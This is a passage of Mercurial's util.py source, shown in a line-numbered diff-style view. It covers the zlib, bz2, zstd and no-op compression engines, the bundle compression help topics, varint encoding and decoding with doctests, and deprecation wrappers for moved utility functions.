3298 Optionally accepts an argument defining how to perform compression.
3299 Each engine treats this argument differently.
3299 Each engine treats this argument differently.
3300 """
3300 """
3301 raise NotImplementedError()
3301 raise NotImplementedError()
3302
3302
3303 def decompressorreader(self, fh):
3303 def decompressorreader(self, fh):
3304 """Perform decompression on a file object.
3304 """Perform decompression on a file object.
3305
3305
3306 Argument is an object with a ``read(size)`` method that returns
3306 Argument is an object with a ``read(size)`` method that returns
3307 compressed data. Return value is an object with a ``read(size)`` that
3307 compressed data. Return value is an object with a ``read(size)`` that
3308 returns uncompressed data.
3308 returns uncompressed data.
3309 """
3309 """
3310 raise NotImplementedError()
3310 raise NotImplementedError()
3311
3311
3312 def revlogcompressor(self, opts=None):
3312 def revlogcompressor(self, opts=None):
3313 """Obtain an object that can be used to compress revlog entries.
3313 """Obtain an object that can be used to compress revlog entries.
3314
3314
3315 The object has a ``compress(data)`` method that compresses binary
3315 The object has a ``compress(data)`` method that compresses binary
3316 data. This method returns compressed binary data or ``None`` if
3316 data. This method returns compressed binary data or ``None`` if
3317 the data could not be compressed (too small, not compressible, etc).
3317 the data could not be compressed (too small, not compressible, etc).
3318 The returned data should have a header uniquely identifying this
3318 The returned data should have a header uniquely identifying this
3319 compression format so decompression can be routed to this engine.
3319 compression format so decompression can be routed to this engine.
3320 This header should be identified by the ``revlogheader()`` return
3320 This header should be identified by the ``revlogheader()`` return
3321 value.
3321 value.
3322
3322
3323 The object has a ``decompress(data)`` method that decompresses
3323 The object has a ``decompress(data)`` method that decompresses
3324 data. The method will only be called if ``data`` begins with
3324 data. The method will only be called if ``data`` begins with
3325 ``revlogheader()``. The method should return the raw, uncompressed
3325 ``revlogheader()``. The method should return the raw, uncompressed
3326 data or raise a ``RevlogError``.
3326 data or raise a ``RevlogError``.
3327
3327
3328 The object is reusable but is not thread safe.
3328 The object is reusable but is not thread safe.
3329 """
3329 """
3330 raise NotImplementedError()
3330 raise NotImplementedError()
3331
3331
3332 class _zlibengine(compressionengine):
3332 class _zlibengine(compressionengine):
3333 def name(self):
3333 def name(self):
3334 return 'zlib'
3334 return 'zlib'
3335
3335
3336 def bundletype(self):
3336 def bundletype(self):
3337 """zlib compression using the DEFLATE algorithm.
3337 """zlib compression using the DEFLATE algorithm.
3338
3338
3339 All Mercurial clients should support this format. The compression
3339 All Mercurial clients should support this format. The compression
3340 algorithm strikes a reasonable balance between compression ratio
3340 algorithm strikes a reasonable balance between compression ratio
3341 and size.
3341 and size.
3342 """
3342 """
3343 return 'gzip', 'GZ'
3343 return 'gzip', 'GZ'
3344
3344
3345 def wireprotosupport(self):
3345 def wireprotosupport(self):
3346 return compewireprotosupport('zlib', 20, 20)
3346 return compewireprotosupport('zlib', 20, 20)
3347
3347
3348 def revlogheader(self):
3348 def revlogheader(self):
3349 return 'x'
3349 return 'x'
3350
3350
3351 def compressstream(self, it, opts=None):
3351 def compressstream(self, it, opts=None):
3352 opts = opts or {}
3352 opts = opts or {}
3353
3353
3354 z = zlib.compressobj(opts.get('level', -1))
3354 z = zlib.compressobj(opts.get('level', -1))
3355 for chunk in it:
3355 for chunk in it:
3356 data = z.compress(chunk)
3356 data = z.compress(chunk)
3357 # Not all calls to compress emit data. It is cheaper to inspect
3357 # Not all calls to compress emit data. It is cheaper to inspect
3358 # here than to feed empty chunks through generator.
3358 # here than to feed empty chunks through generator.
3359 if data:
3359 if data:
3360 yield data
3360 yield data
3361
3361
3362 yield z.flush()
3362 yield z.flush()
3363
3363
3364 def decompressorreader(self, fh):
3364 def decompressorreader(self, fh):
3365 def gen():
3365 def gen():
3366 d = zlib.decompressobj()
3366 d = zlib.decompressobj()
3367 for chunk in filechunkiter(fh):
3367 for chunk in filechunkiter(fh):
3368 while chunk:
3368 while chunk:
3369 # Limit output size to limit memory.
3369 # Limit output size to limit memory.
3370 yield d.decompress(chunk, 2 ** 18)
3370 yield d.decompress(chunk, 2 ** 18)
3371 chunk = d.unconsumed_tail
3371 chunk = d.unconsumed_tail
3372
3372
3373 return chunkbuffer(gen())
3373 return chunkbuffer(gen())
3374
3374
3375 class zlibrevlogcompressor(object):
3375 class zlibrevlogcompressor(object):
3376 def compress(self, data):
3376 def compress(self, data):
3377 insize = len(data)
3377 insize = len(data)
3378 # Caller handles empty input case.
3378 # Caller handles empty input case.
3379 assert insize > 0
3379 assert insize > 0
3380
3380
3381 if insize < 44:
3381 if insize < 44:
3382 return None
3382 return None
3383
3383
3384 elif insize <= 1000000:
3384 elif insize <= 1000000:
3385 compressed = zlib.compress(data)
3385 compressed = zlib.compress(data)
3386 if len(compressed) < insize:
3386 if len(compressed) < insize:
3387 return compressed
3387 return compressed
3388 return None
3388 return None
3389
3389
3390 # zlib makes an internal copy of the input buffer, doubling
3390 # zlib makes an internal copy of the input buffer, doubling
3391 # memory usage for large inputs. So do streaming compression
3391 # memory usage for large inputs. So do streaming compression
3392 # on large inputs.
3392 # on large inputs.
3393 else:
3393 else:
3394 z = zlib.compressobj()
3394 z = zlib.compressobj()
3395 parts = []
3395 parts = []
3396 pos = 0
3396 pos = 0
3397 while pos < insize:
3397 while pos < insize:
3398 pos2 = pos + 2**20
3398 pos2 = pos + 2**20
3399 parts.append(z.compress(data[pos:pos2]))
3399 parts.append(z.compress(data[pos:pos2]))
3400 pos = pos2
3400 pos = pos2
3401 parts.append(z.flush())
3401 parts.append(z.flush())
3402
3402
3403 if sum(map(len, parts)) < insize:
3403 if sum(map(len, parts)) < insize:
3404 return ''.join(parts)
3404 return ''.join(parts)
3405 return None
3405 return None
3406
3406
3407 def decompress(self, data):
3407 def decompress(self, data):
3408 try:
3408 try:
3409 return zlib.decompress(data)
3409 return zlib.decompress(data)
3410 except zlib.error as e:
3410 except zlib.error as e:
3411 raise error.RevlogError(_('revlog decompress error: %s') %
3411 raise error.RevlogError(_('revlog decompress error: %s') %
3412 stringutil.forcebytestr(e))
3412 stringutil.forcebytestr(e))
3413
3413
3414 def revlogcompressor(self, opts=None):
3414 def revlogcompressor(self, opts=None):
3415 return self.zlibrevlogcompressor()
3415 return self.zlibrevlogcompressor()
3416
3416
3417 compengines.register(_zlibengine())
3417 compengines.register(_zlibengine())
3418
3418
3419 class _bz2engine(compressionengine):
3419 class _bz2engine(compressionengine):
3420 def name(self):
3420 def name(self):
3421 return 'bz2'
3421 return 'bz2'
3422
3422
3423 def bundletype(self):
3423 def bundletype(self):
3424 """An algorithm that produces smaller bundles than ``gzip``.
3424 """An algorithm that produces smaller bundles than ``gzip``.
3425
3425
3426 All Mercurial clients should support this format.
3426 All Mercurial clients should support this format.
3427
3427
3428 This engine will likely produce smaller bundles than ``gzip`` but
3428 This engine will likely produce smaller bundles than ``gzip`` but
3429 will be significantly slower, both during compression and
3429 will be significantly slower, both during compression and
3430 decompression.
3430 decompression.
3431
3431
3432 If available, the ``zstd`` engine can yield similar or better
3432 If available, the ``zstd`` engine can yield similar or better
3433 compression at much higher speeds.
3433 compression at much higher speeds.
3434 """
3434 """
3435 return 'bzip2', 'BZ'
3435 return 'bzip2', 'BZ'
3436
3436
3437 # We declare a protocol name but don't advertise by default because
3437 # We declare a protocol name but don't advertise by default because
3438 # it is slow.
3438 # it is slow.
3439 def wireprotosupport(self):
3439 def wireprotosupport(self):
3440 return compewireprotosupport('bzip2', 0, 0)
3440 return compewireprotosupport('bzip2', 0, 0)
3441
3441
3442 def compressstream(self, it, opts=None):
3442 def compressstream(self, it, opts=None):
3443 opts = opts or {}
3443 opts = opts or {}
3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3445 for chunk in it:
3445 for chunk in it:
3446 data = z.compress(chunk)
3446 data = z.compress(chunk)
3447 if data:
3447 if data:
3448 yield data
3448 yield data
3449
3449
3450 yield z.flush()
3450 yield z.flush()
3451
3451
3452 def decompressorreader(self, fh):
3452 def decompressorreader(self, fh):
3453 def gen():
3453 def gen():
3454 d = bz2.BZ2Decompressor()
3454 d = bz2.BZ2Decompressor()
3455 for chunk in filechunkiter(fh):
3455 for chunk in filechunkiter(fh):
3456 yield d.decompress(chunk)
3456 yield d.decompress(chunk)
3457
3457
3458 return chunkbuffer(gen())
3458 return chunkbuffer(gen())
3459
3459
3460 compengines.register(_bz2engine())
3460 compengines.register(_bz2engine())
3461
3461
3462 class _truncatedbz2engine(compressionengine):
3462 class _truncatedbz2engine(compressionengine):
3463 def name(self):
3463 def name(self):
3464 return 'bz2truncated'
3464 return 'bz2truncated'
3465
3465
3466 def bundletype(self):
3466 def bundletype(self):
3467 return None, '_truncatedBZ'
3467 return None, '_truncatedBZ'
3468
3468
3469 # We don't implement compressstream because it is hackily handled elsewhere.
3469 # We don't implement compressstream because it is hackily handled elsewhere.
3470
3470
3471 def decompressorreader(self, fh):
3471 def decompressorreader(self, fh):
3472 def gen():
3472 def gen():
3473 # The input stream doesn't have the 'BZ' header. So add it back.
3473 # The input stream doesn't have the 'BZ' header. So add it back.
3474 d = bz2.BZ2Decompressor()
3474 d = bz2.BZ2Decompressor()
3475 d.decompress('BZ')
3475 d.decompress('BZ')
3476 for chunk in filechunkiter(fh):
3476 for chunk in filechunkiter(fh):
3477 yield d.decompress(chunk)
3477 yield d.decompress(chunk)
3478
3478
3479 return chunkbuffer(gen())
3479 return chunkbuffer(gen())
3480
3480
3481 compengines.register(_truncatedbz2engine())
3481 compengines.register(_truncatedbz2engine())
3482
3482
3483 class _noopengine(compressionengine):
3483 class _noopengine(compressionengine):
3484 def name(self):
3484 def name(self):
3485 return 'none'
3485 return 'none'
3486
3486
3487 def bundletype(self):
3487 def bundletype(self):
3488 """No compression is performed.
3488 """No compression is performed.
3489
3489
3490 Use this compression engine to explicitly disable compression.
3490 Use this compression engine to explicitly disable compression.
3491 """
3491 """
3492 return 'none', 'UN'
3492 return 'none', 'UN'
3493
3493
3494 # Clients always support uncompressed payloads. Servers don't because
3494 # Clients always support uncompressed payloads. Servers don't because
3495 # unless you are on a fast network, uncompressed payloads can easily
3495 # unless you are on a fast network, uncompressed payloads can easily
3496 # saturate your network pipe.
3496 # saturate your network pipe.
3497 def wireprotosupport(self):
3497 def wireprotosupport(self):
3498 return compewireprotosupport('none', 0, 10)
3498 return compewireprotosupport('none', 0, 10)
3499
3499
3500 # We don't implement revlogheader because it is handled specially
3500 # We don't implement revlogheader because it is handled specially
3501 # in the revlog class.
3501 # in the revlog class.
3502
3502
3503 def compressstream(self, it, opts=None):
3503 def compressstream(self, it, opts=None):
3504 return it
3504 return it
3505
3505
3506 def decompressorreader(self, fh):
3506 def decompressorreader(self, fh):
3507 return fh
3507 return fh
3508
3508
3509 class nooprevlogcompressor(object):
3509 class nooprevlogcompressor(object):
3510 def compress(self, data):
3510 def compress(self, data):
3511 return None
3511 return None
3512
3512
3513 def revlogcompressor(self, opts=None):
3513 def revlogcompressor(self, opts=None):
3514 return self.nooprevlogcompressor()
3514 return self.nooprevlogcompressor()
3515
3515
3516 compengines.register(_noopengine())
3516 compengines.register(_noopengine())
3517
3517
3518 class _zstdengine(compressionengine):
3518 class _zstdengine(compressionengine):
3519 def name(self):
3519 def name(self):
3520 return 'zstd'
3520 return 'zstd'
3521
3521
3522 @propertycache
3522 @propertycache
3523 def _module(self):
3523 def _module(self):
3524 # Not all installs have the zstd module available. So defer importing
3524 # Not all installs have the zstd module available. So defer importing
3525 # until first access.
3525 # until first access.
3526 try:
3526 try:
3527 from . import zstd
3527 from . import zstd
3528 # Force delayed import.
3528 # Force delayed import.
3529 zstd.__version__
3529 zstd.__version__
3530 return zstd
3530 return zstd
3531 except ImportError:
3531 except ImportError:
3532 return None
3532 return None
3533
3533
3534 def available(self):
3534 def available(self):
3535 return bool(self._module)
3535 return bool(self._module)
3536
3536
3537 def bundletype(self):
3537 def bundletype(self):
3538 """A modern compression algorithm that is fast and highly flexible.
3538 """A modern compression algorithm that is fast and highly flexible.
3539
3539
3540 Only supported by Mercurial 4.1 and newer clients.
3540 Only supported by Mercurial 4.1 and newer clients.
3541
3541
3542 With the default settings, zstd compression is both faster and yields
3542 With the default settings, zstd compression is both faster and yields
3543 better compression than ``gzip``. It also frequently yields better
3543 better compression than ``gzip``. It also frequently yields better
3544 compression than ``bzip2`` while operating at much higher speeds.
3544 compression than ``bzip2`` while operating at much higher speeds.
3545
3545
3546 If this engine is available and backwards compatibility is not a
3546 If this engine is available and backwards compatibility is not a
3547 concern, it is likely the best available engine.
3547 concern, it is likely the best available engine.
3548 """
3548 """
3549 return 'zstd', 'ZS'
3549 return 'zstd', 'ZS'
3550
3550
3551 def wireprotosupport(self):
3551 def wireprotosupport(self):
3552 return compewireprotosupport('zstd', 50, 50)
3552 return compewireprotosupport('zstd', 50, 50)
3553
3553
3554 def revlogheader(self):
3554 def revlogheader(self):
3555 return '\x28'
3555 return '\x28'
3556
3556
3557 def compressstream(self, it, opts=None):
3557 def compressstream(self, it, opts=None):
3558 opts = opts or {}
3558 opts = opts or {}
3559 # zstd level 3 is almost always significantly faster than zlib
3559 # zstd level 3 is almost always significantly faster than zlib
3560 # while providing no worse compression. It strikes a good balance
3560 # while providing no worse compression. It strikes a good balance
3561 # between speed and compression.
3561 # between speed and compression.
3562 level = opts.get('level', 3)
3562 level = opts.get('level', 3)
3563
3563
3564 zstd = self._module
3564 zstd = self._module
3565 z = zstd.ZstdCompressor(level=level).compressobj()
3565 z = zstd.ZstdCompressor(level=level).compressobj()
3566 for chunk in it:
3566 for chunk in it:
3567 data = z.compress(chunk)
3567 data = z.compress(chunk)
3568 if data:
3568 if data:
3569 yield data
3569 yield data
3570
3570
3571 yield z.flush()
3571 yield z.flush()
3572
3572
3573 def decompressorreader(self, fh):
3573 def decompressorreader(self, fh):
3574 zstd = self._module
3574 zstd = self._module
3575 dctx = zstd.ZstdDecompressor()
3575 dctx = zstd.ZstdDecompressor()
3576 return chunkbuffer(dctx.read_from(fh))
3576 return chunkbuffer(dctx.read_from(fh))
3577
3577
3578 class zstdrevlogcompressor(object):
3578 class zstdrevlogcompressor(object):
3579 def __init__(self, zstd, level=3):
3579 def __init__(self, zstd, level=3):
3580 # TODO consider omitting frame magic to save 4 bytes.
3580 # TODO consider omitting frame magic to save 4 bytes.
3581 # This writes content sizes into the frame header. That is
3581 # This writes content sizes into the frame header. That is
3582 # extra storage. But it allows a correct size memory allocation
3582 # extra storage. But it allows a correct size memory allocation
3583 # to hold the result.
3583 # to hold the result.
3584 self._cctx = zstd.ZstdCompressor(level=level)
3584 self._cctx = zstd.ZstdCompressor(level=level)
3585 self._dctx = zstd.ZstdDecompressor()
3585 self._dctx = zstd.ZstdDecompressor()
3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3588
3588
3589 def compress(self, data):
3589 def compress(self, data):
3590 insize = len(data)
3590 insize = len(data)
3591 # Caller handles empty input case.
3591 # Caller handles empty input case.
3592 assert insize > 0
3592 assert insize > 0
3593
3593
3594 if insize < 50:
3594 if insize < 50:
3595 return None
3595 return None
3596
3596
3597 elif insize <= 1000000:
3597 elif insize <= 1000000:
3598 compressed = self._cctx.compress(data)
3598 compressed = self._cctx.compress(data)
3599 if len(compressed) < insize:
3599 if len(compressed) < insize:
3600 return compressed
3600 return compressed
3601 return None
3601 return None
3602 else:
3602 else:
3603 z = self._cctx.compressobj()
3603 z = self._cctx.compressobj()
3604 chunks = []
3604 chunks = []
3605 pos = 0
3605 pos = 0
3606 while pos < insize:
3606 while pos < insize:
3607 pos2 = pos + self._compinsize
3607 pos2 = pos + self._compinsize
3608 chunk = z.compress(data[pos:pos2])
3608 chunk = z.compress(data[pos:pos2])
3609 if chunk:
3609 if chunk:
3610 chunks.append(chunk)
3610 chunks.append(chunk)
3611 pos = pos2
3611 pos = pos2
3612 chunks.append(z.flush())
3612 chunks.append(z.flush())
3613
3613
3614 if sum(map(len, chunks)) < insize:
3614 if sum(map(len, chunks)) < insize:
3615 return ''.join(chunks)
3615 return ''.join(chunks)
3616 return None
3616 return None
3617
3617
3618 def decompress(self, data):
3618 def decompress(self, data):
3619 insize = len(data)
3619 insize = len(data)
3620
3620
3621 try:
3621 try:
3622 # This was measured to be faster than other streaming
3622 # This was measured to be faster than other streaming
3623 # decompressors.
3623 # decompressors.
3624 dobj = self._dctx.decompressobj()
3624 dobj = self._dctx.decompressobj()
3625 chunks = []
3625 chunks = []
3626 pos = 0
3626 pos = 0
3627 while pos < insize:
3627 while pos < insize:
3628 pos2 = pos + self._decompinsize
3628 pos2 = pos + self._decompinsize
3629 chunk = dobj.decompress(data[pos:pos2])
3629 chunk = dobj.decompress(data[pos:pos2])
3630 if chunk:
3630 if chunk:
3631 chunks.append(chunk)
3631 chunks.append(chunk)
3632 pos = pos2
3632 pos = pos2
3633 # Frame should be exhausted, so no finish() API.
3633 # Frame should be exhausted, so no finish() API.
3634
3634
3635 return ''.join(chunks)
3635 return ''.join(chunks)
3636 except Exception as e:
3636 except Exception as e:
3637 raise error.RevlogError(_('revlog decompress error: %s') %
3637 raise error.RevlogError(_('revlog decompress error: %s') %
3638 stringutil.forcebytestr(e))
3638 stringutil.forcebytestr(e))
3639
3639
3640 def revlogcompressor(self, opts=None):
3640 def revlogcompressor(self, opts=None):
3641 opts = opts or {}
3641 opts = opts or {}
3642 return self.zstdrevlogcompressor(self._module,
3642 return self.zstdrevlogcompressor(self._module,
3643 level=opts.get('level', 3))
3643 level=opts.get('level', 3))
3644
3644
3645 compengines.register(_zstdengine())
3645 compengines.register(_zstdengine())
3646
3646
3647 def bundlecompressiontopics():
3647 def bundlecompressiontopics():
3648 """Obtains a list of available bundle compressions for use in help."""
3648 """Obtains a list of available bundle compressions for use in help."""
3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3650 items = {}
3650 items = {}
3651
3651
3652 # We need to format the docstring. So use a dummy object/type to hold it
3652 # We need to format the docstring. So use a dummy object/type to hold it
3653 # rather than mutating the original.
3653 # rather than mutating the original.
3654 class docobject(object):
3654 class docobject(object):
3655 pass
3655 pass
3656
3656
3657 for name in compengines:
3657 for name in compengines:
3658 engine = compengines[name]
3658 engine = compengines[name]
3659
3659
3660 if not engine.available():
3660 if not engine.available():
3661 continue
3661 continue
3662
3662
3663 bt = engine.bundletype()
3663 bt = engine.bundletype()
3664 if not bt or not bt[0]:
3664 if not bt or not bt[0]:
3665 continue
3665 continue
3666
3666
3667 doc = pycompat.sysstr('``%s``\n %s') % (
3667 doc = pycompat.sysstr('``%s``\n %s') % (
3668 bt[0], engine.bundletype.__doc__)
3668 bt[0], engine.bundletype.__doc__)
3669
3669
3670 value = docobject()
3670 value = docobject()
3671 value.__doc__ = doc
3671 value.__doc__ = doc
3672 value._origdoc = engine.bundletype.__doc__
3672 value._origdoc = engine.bundletype.__doc__
3673 value._origfunc = engine.bundletype
3673 value._origfunc = engine.bundletype
3674
3674
3675 items[bt[0]] = value
3675 items[bt[0]] = value
3676
3676
3677 return items
3677 return items
3678
3678
3679 i18nfunctions = bundlecompressiontopics().values()
3679 i18nfunctions = bundlecompressiontopics().values()
3680
3680
3681 # convenient shortcut
3681 # convenient shortcut
3682 dst = debugstacktrace
3682 dst = debugstacktrace
3683
3683
3684 def safename(f, tag, ctx, others=None):
3684 def safename(f, tag, ctx, others=None):
3685 """
3685 """
3686 Generate a name that it is safe to rename f to in the given context.
3686 Generate a name that it is safe to rename f to in the given context.
3687
3687
3688 f: filename to rename
3688 f: filename to rename
3689 tag: a string tag that will be included in the new name
3689 tag: a string tag that will be included in the new name
3690 ctx: a context, in which the new name must not exist
3690 ctx: a context, in which the new name must not exist
3691 others: a set of other filenames that the new name must not be in
3691 others: a set of other filenames that the new name must not be in
3692
3692
3693 Returns a file name of the form oldname~tag[~number] which does not exist
3693 Returns a file name of the form oldname~tag[~number] which does not exist
3694 in the provided context and is not in the set of other names.
3694 in the provided context and is not in the set of other names.
3695 """
3695 """
3696 if others is None:
3696 if others is None:
3697 others = set()
3697 others = set()
3698
3698
3699 fn = '%s~%s' % (f, tag)
3699 fn = '%s~%s' % (f, tag)
3700 if fn not in ctx and fn not in others:
3700 if fn not in ctx and fn not in others:
3701 return fn
3701 return fn
3702 for n in itertools.count(1):
3702 for n in itertools.count(1):
3703 fn = '%s~%s~%s' % (f, tag, n)
3703 fn = '%s~%s~%s' % (f, tag, n)
3704 if fn not in ctx and fn not in others:
3704 if fn not in ctx and fn not in others:
3705 return fn
3705 return fn
3706
3706
3707 def readexactly(stream, n):
3707 def readexactly(stream, n):
3708 '''read n bytes from stream.read and abort if less was available'''
3708 '''read n bytes from stream.read and abort if less was available'''
3709 s = stream.read(n)
3709 s = stream.read(n)
3710 if len(s) < n:
3710 if len(s) < n:
3711 raise error.Abort(_("stream ended unexpectedly"
3711 raise error.Abort(_("stream ended unexpectedly"
3712 " (got %d bytes, expected %d)")
3712 " (got %d bytes, expected %d)")
3713 % (len(s), n))
3713 % (len(s), n))
3714 return s
3714 return s
3715
3715
3716 def uvarintencode(value):
3716 def uvarintencode(value):
3717 """Encode an unsigned integer value to a varint.
3717 """Encode an unsigned integer value to a varint.
3718
3718
3719 A varint is a variable length integer of 1 or more bytes. Each byte
3719 A varint is a variable length integer of 1 or more bytes. Each byte
3720 except the last has the most significant bit set. The lower 7 bits of
3720 except the last has the most significant bit set. The lower 7 bits of
3721 each byte store the 2's complement representation, least significant group
3721 each byte store the 2's complement representation, least significant group
3722 first.
3722 first.
3723
3723
3724 >>> uvarintencode(0)
3724 >>> uvarintencode(0)
3725 '\\x00'
3725 '\\x00'
3726 >>> uvarintencode(1)
3726 >>> uvarintencode(1)
3727 '\\x01'
3727 '\\x01'
3728 >>> uvarintencode(127)
3728 >>> uvarintencode(127)
3729 '\\x7f'
3729 '\\x7f'
3730 >>> uvarintencode(1337)
3730 >>> uvarintencode(1337)
3731 '\\xb9\\n'
3731 '\\xb9\\n'
3732 >>> uvarintencode(65536)
3732 >>> uvarintencode(65536)
3733 '\\x80\\x80\\x04'
3733 '\\x80\\x80\\x04'
3734 >>> uvarintencode(-1)
3734 >>> uvarintencode(-1)
3735 Traceback (most recent call last):
3735 Traceback (most recent call last):
3736 ...
3736 ...
3737 ProgrammingError: negative value for uvarint: -1
3737 ProgrammingError: negative value for uvarint: -1
3738 """
3738 """
3739 if value < 0:
3739 if value < 0:
3740 raise error.ProgrammingError('negative value for uvarint: %d'
3740 raise error.ProgrammingError('negative value for uvarint: %d'
3741 % value)
3741 % value)
3742 bits = value & 0x7f
3742 bits = value & 0x7f
3743 value >>= 7
3743 value >>= 7
3744 bytes = []
3744 bytes = []
3745 while value:
3745 while value:
3746 bytes.append(pycompat.bytechr(0x80 | bits))
3746 bytes.append(pycompat.bytechr(0x80 | bits))
3747 bits = value & 0x7f
3747 bits = value & 0x7f
3748 value >>= 7
3748 value >>= 7
3749 bytes.append(pycompat.bytechr(bits))
3749 bytes.append(pycompat.bytechr(bits))
3750
3750
3751 return ''.join(bytes)
3751 return ''.join(bytes)
3752
3752
3753 def uvarintdecodestream(fh):
3753 def uvarintdecodestream(fh):
3754 """Decode an unsigned variable length integer from a stream.
3754 """Decode an unsigned variable length integer from a stream.
3755
3755
3756 The passed argument is anything that has a ``.read(N)`` method.
3756 The passed argument is anything that has a ``.read(N)`` method.
3757
3757
3758 >>> try:
3758 >>> try:
3759 ... from StringIO import StringIO as BytesIO
3759 ... from StringIO import StringIO as BytesIO
3760 ... except ImportError:
3760 ... except ImportError:
3761 ... from io import BytesIO
3761 ... from io import BytesIO
3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3762 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3763 0
3763 0
3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3764 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3765 1
3765 1
3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3766 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3767 127
3767 127
3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3768 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3769 1337
3769 1337
3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3770 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3771 65536
3771 65536
3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3772 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3773 Traceback (most recent call last):
3773 Traceback (most recent call last):
3774 ...
3774 ...
3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3775 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3776 """
3776 """
3777 result = 0
3777 result = 0
3778 shift = 0
3778 shift = 0
3779 while True:
3779 while True:
3780 byte = ord(readexactly(fh, 1))
3780 byte = ord(readexactly(fh, 1))
3781 result |= ((byte & 0x7f) << shift)
3781 result |= ((byte & 0x7f) << shift)
3782 if not (byte & 0x80):
3782 if not (byte & 0x80):
3783 return result
3783 return result
3784 shift += 7
3784 shift += 7
3785
3785
3786 ###
3786 ###
3787 # Deprecation warnings for util.py splitting
3787 # Deprecation warnings for util.py splitting
3788 ###
3788 ###
3789
3789
3790 def _deprecatedfunc(func, version, modname=None):
3790 def _deprecatedfunc(func, version, modname=None):
3791 def wrapped(*args, **kwargs):
3791 def wrapped(*args, **kwargs):
3792 fn = pycompat.sysbytes(func.__name__)
3792 fn = pycompat.sysbytes(func.__name__)
3793 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3793 mn = modname or pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3794 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3794 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3795 nouideprecwarn(msg, version, stacklevel=2)
3795 nouideprecwarn(msg, version, stacklevel=2)
3796 return func(*args, **kwargs)
3796 return func(*args, **kwargs)
3797 wrapped.__name__ = func.__name__
3797 wrapped.__name__ = func.__name__
3798 return wrapped
3798 return wrapped
3799
3799
3800 defaultdateformats = dateutil.defaultdateformats
3800 defaultdateformats = dateutil.defaultdateformats
3801 extendeddateformats = dateutil.extendeddateformats
3801 extendeddateformats = dateutil.extendeddateformats
3802 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3802 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3803 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3803 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3804 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3804 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3805 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3805 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3806 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3806 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3807 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3807 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3808 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3808 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3809
3809
3810 stderr = procutil.stderr
3810 stderr = procutil.stderr
3811 stdin = procutil.stdin
3811 stdin = procutil.stdin
3812 stdout = procutil.stdout
3812 stdout = procutil.stdout
3813 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3813 explainexit = _deprecatedfunc(procutil.explainexit, '4.6',
3814 modname='utils.procutil')
3814 modname='utils.procutil')
3815 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3815 findexe = _deprecatedfunc(procutil.findexe, '4.6', modname='utils.procutil')
3816 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3816 getuser = _deprecatedfunc(procutil.getuser, '4.6', modname='utils.procutil')
3817 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3817 getpid = _deprecatedfunc(procutil.getpid, '4.6', modname='utils.procutil')
3818 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3818 hidewindow = _deprecatedfunc(procutil.hidewindow, '4.6',
3819 modname='utils.procutil')
3819 modname='utils.procutil')
3820 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3820 popen = _deprecatedfunc(procutil.popen, '4.6', modname='utils.procutil')
3821 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3821 quotecommand = _deprecatedfunc(procutil.quotecommand, '4.6',
3822 modname='utils.procutil')
3822 modname='utils.procutil')
3823 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3823 readpipe = _deprecatedfunc(procutil.readpipe, '4.6', modname='utils.procutil')
3824 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3824 setbinary = _deprecatedfunc(procutil.setbinary, '4.6', modname='utils.procutil')
3825 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3825 setsignalhandler = _deprecatedfunc(procutil.setsignalhandler, '4.6',
3826 modname='utils.procutil')
3826 modname='utils.procutil')
3827 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3827 shellquote = _deprecatedfunc(procutil.shellquote, '4.6',
3828 modname='utils.procutil')
3828 modname='utils.procutil')
3829 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3829 shellsplit = _deprecatedfunc(procutil.shellsplit, '4.6',
3830 modname='utils.procutil')
